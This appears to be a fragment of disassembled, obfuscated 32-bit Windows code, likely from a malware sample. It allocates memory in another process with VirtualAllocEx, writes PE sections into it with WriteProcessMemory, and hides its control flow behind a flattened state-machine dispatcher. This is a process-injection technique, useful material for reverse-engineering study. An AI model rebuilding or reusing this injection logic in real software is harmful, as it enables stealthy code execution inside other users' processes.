mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0x100]
mov dword [eax], ecx
mov eax, dword [ebp - 0x100]
mov dword [ebp - 0x12c], 0xf82d0ff6
jmp 0x1001084d
mov eax, dword [ebp - 0xf8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xe8]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xf8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xe8]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0x14]
add ecx, 0x48ba11fd
add ecx, edx
sub ecx, 0x48ba11fd
mov edx, dword [ebp - 0x100]
mov edx, dword [edx]
mov esi, dword [ebp - 0xf8]
mov esi, dword [esi]
mov edi, dword [ebp - 0xe8]
imul edi, dword [edi], 0x28
add esi, edi
mov edi, dword [esi + 0xc]
xor esi, esi
sub esi, edx
xor edx, edx
sub edx, edi
add esi, edx
xor edx, edx
sub edx, esi
mov esi, dword [ebp - 0x114]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xf8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xe8]
imul edx, dword [edx], 0x28
add ecx, edx
mov ecx, dword [ecx + 0x10]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.1000c9c0
add esp, 8
mov ecx, eax
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xec]
mov eax, dword [ebp - 0xf8]
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x12c], 0x66c01c77
jmp 0x1001084d
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x12c], 0xba00c598
jmp 0x1001084d
mov dword [ebp - 0x12c], 0xc493a1a8
jmp 0x1001084d
mov eax, dword [ebp - 0xfc]
mov dword [ebp - 0x12c], 0x475c100d
jmp 0x1001084d
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x12c], 0x5df99c3
jmp 0x1001084d
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0xe811af3a
jmp 0x1001084d
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x11c]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
add ecx, 0x993f6768
sub ecx, eax
sub ecx, 0x993f6768
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x12c], 0xcd673c18
jmp 0x1001084d
mov dword [ebp - 0x12c], 0x8a61b32a
jmp 0x1000caff